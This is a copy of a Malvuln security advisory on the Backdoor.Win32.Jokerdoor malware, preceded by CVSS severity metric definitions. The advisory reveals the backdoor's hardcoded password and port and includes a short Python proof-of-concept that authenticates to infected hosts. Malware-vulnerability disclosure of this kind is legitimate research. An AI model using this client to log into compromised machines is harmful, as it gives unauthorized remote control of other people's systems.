The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Backdoor.Win32.Jokerdoor / Weak Hardcoded Credentials
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/a6437375fff871dff97dc91c8fd6259f.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Weak Hardcoded Credentials
Family: Jokerdoor
Type: PE32
MD5: a6437375fff871dff97dc91c8fd6259f
Vuln ID: MVID-2022-0531
Dropped files: Random name "awup.exe"
Disclosure: 04/02/2022
Description: The malware listens on TCP port 27374. The password "mathiasJ" is weak and hardcoded in the PE file. Failed authentication generates a "POPUP incorrect password..." message, using TELNET results in an error "PWDPerror reading password..." Using Nc64.exe utility results in a trailing line feed character "\n" after the supplied password. This causes the cmp statement check to fail even if the password is correct due to the "\n" character.
004BDA0C | 8B 45 EC | mov eax,dword ptr ss:[ebp-14] | [ebp-14]:" mathiasJ\n"
004BDA0F | 8B 15 0C AC 4D 00 | mov edx,dword ptr ds:[4DAC0C] | 004DAC0C:&"mathiasJ"
004041C7 | 39 D0 | cmp eax,edx | eax" mathiasJ\n", edx"mathiasJ"
So we will need to write a custom client ourselves. The password must also be sent with no space and prefixed with "PWD" E.g. "PWDmathiasJ". Upon successful authentication we get a message e.g. "PWDconnected time, date Legends 2.1".
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=27374
def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
time.sleep(1)
PAYLOAD="PWDmathiasJ"
s.send(PAYLOAD)
time.sleep(1)
print(chk_res(s))
s.close()
if __name__=="__main__":
doit()
print("Malvuln")
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